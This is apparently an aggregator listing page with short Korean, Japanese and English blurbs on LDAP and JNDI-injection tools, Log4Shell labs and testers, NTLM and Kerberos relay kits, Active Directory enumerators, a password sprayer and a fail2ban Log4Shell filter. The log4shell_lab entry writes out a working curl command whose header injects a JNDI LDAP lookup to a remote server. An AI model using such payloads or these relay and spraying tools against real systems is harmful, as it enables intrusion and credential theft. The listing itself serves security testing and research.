jndi-ldap-test-server

jndi-ldap-test-server 이것은 Java 애플리케이션에서 JNDI+LDAP 인젝션 공격, 특히 CVE-2021-44228에 대한 취약성을 테스트하기 위한 최소한의 LDAP 서버입니다. CVE-2021-44228 취약성 테스트 방법 1. 플랫폼에 맞는 테스트 서버 바이너리를 다운로드합니다 모든 바이너리는 Releases에서 확인 가능. 2. 테스트하려는 애플리케이션에서 접근 가능한 IP 주소에서 테스트 서버를 실행합니다. 서버를 애플리케이션과 동일한 호스트localhost에서 실행할 수 있다면 가장 간편합니다. 3...

msLDAPDump

msLDAPDump Python3로 구현된 LDAP 열거 도구 msLDAPDump는 Python의 ldap3 라이브러리를 사용하기 쉬운 인터페이스로 감싸 도메인 환경에서 LDAP 열거를 단순화합니다. 제 도구 대부분과 마찬가지로 Windows에서 가장 잘 작동합니다. Unix를 사용하는 경우, 현재 eth0을 통해 접근할 수 없는 호스트 이름은 도구가 확인하지 못합니다. 익명 바인딩 사용자는 도구를 통해 LDAP에 익명으로 바인딩하여 도메인 명명 컨텍스트, 도메인 컨트롤러 호스트 이름 등 LDAP에 대한 기본 정보를 덤프할 수...

JNDI-Injection-Exploit

JNDI-Injection-Exploit JNDI 인젝션에 관한 자료 중국어 문서 관련 글 설명 JNDI-Injection-Exploit는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. RMI 서버와 LDAP 서버는 marshals를 기반으로 하며 HTTP 서버와 연결하기 위해 추가로 수정되었습니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이러한 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은...

ZackAttack

ZackAttack! - NTLM을 누구보다도 능숙하게 릴레이하기 ======= 이게 뭐야? tl;dr 버전 - ZackAttack!은 현재 나와 있는 다른 어떤 도구와도 다른 NTLM 인증 릴레이를 수행하는 새로운 도구 세트입니다. = 그렇다면 ZackAttack!은 다른 도구와 어떻게 다르고 더 나은가요? NTLMv2 지원 : 외부 Exchange Web Services 서버로 릴레이하여 NTLM의 외부 영향을 발생시킵니다모바일 폰 사용자 생각하세요 : 단일 풀 소스로 집중되는 커스텀 Rogue HTTP 및 SMB 서버로,...

CVE-2024-21006

1、特に言うことはない、単なるldap利用です。 2、ldapサービスのリクエストログを確認してください。 3、対象バージョンはOracle WebLogic Server 12.2.1.4.0および14.1.1.0.0である必要があります。また、低バージョンのjdkが必要です。 4、JNDIExploit-1.4-SNAPSHOT.jarを使用してldapサービスを起動します。...

fail2ban-log4j

fail2ban-log4j log4j CVE-2021-44228에 대한 공격을 탐지하는 fail2ban 필터 설치 이 파일을 fail2ban filter.d 디렉토리에 복사하세요. 보통 다음과 같은 경로에 있습니다. /etc/fail2ban/filter.d 또는 유사한 위치. jail.local 또는 jail.conf에 apache-jndi 섹션을 추가하세요: root@kitploit: apache-jndi enabled = true filter = apache-jndi port = http,https logpath =...

ADReaper

ADReaper ADReaper는 Golang으로 작성된 도구로, LDAP 쿼리를 사용하여 몇 초 내에 Active Directory 환경을 열거합니다. 설치 Windows/Linux용 사전 컴파일된 실행 바이너리는 최신 릴리스에서 다운로드할 수 있습니다. 소스에서 설치 소스에서 빌드하려면 저장소를 클론하고 GO로 빌드하세요. root@kitploit: $ git clone https://github.com/AidenPearce369/ADReaper $ cd ADReaper/ $ go build 사용법 ADReaper는 다양한...

ldsview

ldsview Offline search tool for LDAP directory dumps in LDIF format. Features Fast and memory efficient parsing of LDIF files Build ldapsearch commands to extract an LDIF from a directory Show directory structure UAC and directory time format translation Config Config options can be passed as CLI...

ldsview

ldsview LDIF 형식의 LDAP 디렉토리 덤프를 위한 오프라인 검색 도구. 기능 LDIF 파일의 빠르고 메모리 효율적인 파싱 디렉토리에서 LDIF를 추출하기 위한 ldapsearch 명령어 생성 디렉토리 구조 표시 UAC 및 디렉토리 시간 형식 변환 설정 설정 옵션은 CLI 플래그, 환경 변수 또는 viper를 통한 설정 파일로 전달할 수 있습니다. 구성을 제공할 수 있는 다양한 방법에 대해서는 프로젝트 문서를 참조하세요. 기본적으로 ldsview는 사용자의 홈 디렉토리에서 .ldsview.json,toml,yaml 파...

log4shell-homework9

과제 9 – Log4Shell 취약점으로부터 시스템 보호 개요 이 프로젝트는 Dockerized Java 웹 애플리케이션을 취약한 Log4j 2.14.1과 함께 사용하여 Log4Shell 취약점CVE-2021-44228의 공격 및 완화를 보여줍니다. 또한 시뮬레이션된 악성 LDAP 서버를 포함하여 JNDI 인젝션 공격 경로를 설명합니다. 공격 후, Log4j 업그레이드, 입력 검증, MITRE D3FEND 및 ATT&CK 권장 사항 적용을 통해 시스템을 강화합니다. 폴더 구조 root@kitploit:...

ldap-swak

LDAP スイスアーミーナイフ 多機能LDAPサーバーユーティリティです。 テスト目的のLDAPサーバーをすばやくセットアップしたり、平文を傍受したりNTLM資格情報を転送するためのMitMプロキシ、あるいはさまざまなJava JNDI/LDAPクライアントの脆弱性を悪用するためのツールです。 著者: Moritz Bechler [email protected] プロジェクトリポジトリ: https://github.com/SySS-Research/ldap-swak ビルド Mavenが必要です。 mvn package verify -...

SharpView

SharpView PowerView의 .NET 포트 사용법: root@kitploit: C:\SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password root@kitploit: C:\SharpView.exe Get-DomainController -Help Get-DomainController -Domain -Server -DomainController -LDAP...

KrbRelay

KrbRelay 세 머리 개를 릴레이합니다. 자세한 내용은 https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html 및 https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html 에서 확인하세요. 대부분의 완전히 패치된 Windows 시스템에서 작동합니다. 실험실 환경의 서버 OS에서는 방화벽이 OXID 리졸버를 차단하기...

SharpSpray

SharpSpray SharpSpray는 .NET C으로 작성된 Windows 도메인 비밀번호 스프레이 도구입니다. 소개 SharpSpray는 향상된 추가 기능을 갖춘 DomainPasswordSpray의 C 포트입니다. 이 도구는 LDAP 프로토콜을 사용하여 도메인 Active Directory 서비스와 통신합니다. 기능 도메인 컨텍스트 내부 및 외부에서 작동 가능. 스프레이에서 도메인 비활성 계정 제외. Active Directory에서 도메인 사용자 자동 수집. 잠금 임박 계정을 제외하여 잠금 위험 회피. 도메인 잠금 관...

CVE-2021-44228-Apache-Log4j-Rce-main

CVE-2021-44228Apache Log4j リモートコード実行） log4j-core のすべてのバージョン =2.0-beta9 かつ =2.14.1 1.x のバージョンには他の脆弱性があります。最新バージョンに更新することをお勧めします。 Log4Shell（CVE-2021-44228）に関連するセキュリティアドバイザリ / 速報 使用方法: このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイルされたバイナリをダウンロードできる Web サーバーを起動します。...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 免責事項 このラボは教育およびセキュリティ研究のみを目的 として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。 CVE-2021-44228 とは？ Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性（CVSS 10.0）です。...

log4j-vul

log4j-vul 이 프로젝트는 Apache Log4j2 취약점CVE-2021-44228을 보여주기 위한 것입니다. Java: java version "1.8.0121" Compile: src 폴더에서 javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: src 폴더에서 java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.j...

DavRelayUp

DavRelayUp 다음 공격 프리미티브를 남용하기 위해 webdav에서 LDAP으로의 NTLM 릴레이를 허용하도록 수정한 KrbRelayUp의 빠르고 대충 만든 포트입니다. 0. 선택 사항 새 컴퓨터 계정 생성 New-MachineAccount 1. WebClient 서비스 강제 시작 2. webdav 릴레이 서버 시작 GoRelayServer - Costura.Fody를 사용해 DavRelayUp에 포함된 golang DLL 3. 로컬 컴퓨터 계정 인증 강제 SharpSystemTriggers 4. LDAP으로 NTLM 릴...

log4shell-tools

log4shell.tools log4shell.tools는 최근 log4j의 취약점CVE-2021-44228 및 CVE-2021-45046에 영향을 받는지 테스트를 실행할 수 있는 도구입니다. 이것은 https://log4shell.alexbakker.me를 실행하는 코드입니다. 코드를 검사하거나 자신의 환경에서 인스턴스를 실행하려면 올바른 위치에 오셨습니다. 작동 방식 이 도구는 테스트용 고유 ID를 생성합니다. 시작을 클릭하면 다음과 같은 텍스트가 생성됩니다:...